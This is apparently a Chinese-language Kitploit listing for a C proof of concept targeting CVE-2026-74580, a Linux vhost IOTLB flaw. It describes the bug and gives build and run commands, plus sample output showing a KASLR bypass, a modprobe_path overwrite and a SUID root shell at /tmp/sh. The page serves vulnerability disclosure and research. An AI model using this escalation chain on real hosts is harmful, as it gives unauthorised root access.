Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-74580 — 针对 CVE-2026-74580 的 C 语言概念验证:利用过期的 vhost IOTLB 元数据缓存覆盖 modprobe_path,并在 x86-64 Linux 主机上提升至 root 权限。 | Kitploit
工具/GitHubGitHub/abc00012345/cve-2026-74580
权限提升漏洞分析漏洞利用论文与研究二进制利用
GitHubabc00012345/cve-2026-74580

CVE-2026-74580

针对 CVE-2026-74580 的 C 语言概念验证:利用过期的 vhost IOTLB 元数据缓存覆盖 modprobe_path,并在 x86-64 Linux 主机上提升至 root 权限。

查看仓库
2123天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Vghost — CVE-2026-74580

原始代码和 readme 文件来自: https://github.com/zhangutah/security-research

Linux 权限提升

预期输出:

./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"

[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920

[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920

[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after:  "/tmp/pwn"

[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...

sh-5.3# whoami
root

描述

vq->meta_iotlb[] 缓存了每个 vring 元数据区域(desc / avail / used)背后的 IOTLB 映射。VHOST_SET_VRING_ADDR 和 VHOST_SET_VRING_NUM 不会重置该缓存。当挂载了设备 IOTLB 时,一个活跃的 vq 可以通过一个不再覆盖它的映射来转换重新配置的 vring。vhost_vq_meta_fetch() 没有范围检查,其结果被传递给 __copy_to_user() / __copy_from_user()。

当 vhost 以设备 IOTLB 模式(VIRTIO_F_ACCESS_PLATFORM / vIOMMU)运行,且客户机通过 VIRTIO_F_RING_RESET 重置 virtqueue 时,同一个过期缓存可以从客户机侧触达。该路径不是本 PoC 的内容。

  • CVE:CVE-2026-74580(CVSS 8.8)
  • 技术分析:Vghost
  • 修复:de845981da67

poc.c 是针对 /dev/vhost-vsock 的主机 x86-64 PoC。它以 euid=0 打开一个 root shell。它会创建 /tmp/sh 为 suid root。手动测试后请删除该文件!

用法

cc -O2 -Wall -Wextra -o poc poc.c
./poc

符号查找按以下顺序进行:$SYSTEM_MAP、/boot/System.map-$(uname -r)、/usr/lib/modules/$(uname -r)/build/System.map。modprobe_path 必须存在;asm_exc_divide_error 若缺失则回退到静态地址。

进程必须能够打开 /dev/vhost-vsock。某些镜像将该节点设置为 0666;其他则为 0660 root:kvm。

仅在你拥有的可丢弃测试系统上运行。

下载工具